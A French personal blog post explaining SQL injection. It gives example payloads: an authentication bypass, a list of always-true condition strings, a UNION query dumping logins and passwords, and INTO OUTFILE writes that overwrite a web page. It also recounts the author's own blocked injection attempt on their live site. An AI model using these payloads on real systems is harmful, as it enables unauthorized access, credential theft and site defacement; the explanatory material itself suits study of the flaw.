0

Injection SQL. J’ai voulu injecter piregwan-genesis.com comme un hacker 😈 mais ça n’a pas fonctionné !

L’injection SQL est une méthode d’attaque très connue. C’est un vecteur d’attaque extrêmement puissant quand il est bien exploité. Cette faille apparaît quand il est possible d’injecter du code SQL dans les requêtes SQL qui sont faites pour une page web. C’est actuellement la meilleure vulnérabilité Web en rapport fréquence/surface d’exploitation.

Les conséquences d’une faille SQL peuvent être multiples, du contournement de formulaires d’authentification au dump complet de la base de données en passant par l’exécution arbitraire de code.

Beaucoup d’exemples d’injection en français et les solutions pour les sécuriser.

Exemple sur une requête simple

SELECT * from utilisateurs WHERE login='$login' AND password='$password'

Si le pseudo saisi est ‘ OR 1=1#, la requête devient :

SELECT * from utilisateurs WHERE login='' OR 1=1#' AND password='$password'

Equivalente à :

SELECT * from utilisateurs WHERE login='' OR 1=1

Les injections de conditions toujours vraies comme 1=1

SELECT * FROM admin WHERE login='' OR '1'='1' AND pass='' OR '1'='1'

Voici une liste non-exhaustive d’instructions toujours vraies qui peuvent être utilisées

'='
'OR 1=1
'OR a=a
'OR'
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="

Les liaisons entre les tables avec UNION

SELECT login, password FROM admin WHERE login='' UNION SELECT login, password from admin # ' and password='$password'

Redirection vers un fichier de sortie et manipulation de fichiers avec SQL !

SQL n’a pas fini de nous étonner : il est même possible d’y manipuler des fichiers ! En effet, lorsque le privilège FILES sous MySQL est accordé à l’utilisateur, il est possible d’utiliser les droits en lecture et en écriture accordés à l’utilisateur mysql du système.

SELECT login, password FROM admin WHERE login='' OR 'X'='X' INTO OUTFILE '../../www/file.txt' #' AND password='$password'";

SELECT boumboum FROM blabla WHERE badparam=-1 UNION SELECT 'Hacked !' INTO OUTFILE '/var/www/target/index.php' ;

Injections SQL avancées

https://www.bases-hacking.org/injections-sql-avancees.html

Lorsque j’ai voulu injecter piregwan-genesis.com est apparue la Firebox de WatchGuard 🙂

Je ne sais pas d’où sort cette protection de la mort de dernière minute WatchGuard Technologies (mon hébergeur ?) mais la tentative d’injection a été stoppée net et je suis très content, persuadé que piregwan-genesis n’est pas à l’abri d’injections.

Le service IPS de WatchGuard Technologies (Intrusion Prevention Service) protège votre réseau contre une large gamme d’activités malveillantes, y compris les injections SQL, les attaques de script intersites et les attaques par dépassement de mémoire tampon.

Vous pouvez évaluer cet article en un clic. Garanti sans gluten. Merci !
(Evaluations : 0 / Moyenne : 0)

Krak

Dompteur d'IA, machine prolifique à pisser du code de merde non commenté et pas opti depuis 1986, maître des traditions / maître-brasseur / grand malade à WoW, chasseur de gardiens à Ingress de 2014 à 2019, nerd sapiosexuel monomaniaque, amateur de piments 🌶️ au delà de 300.000 Scoville grâce à Stéphane Pécaut et de pizzas maison 🍕 grâce à Marloin, j'apprécie particulièrement les 3C (les chats 😼, le code et les choux de Bruxelles 🥦) & la philosophie du CCC.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *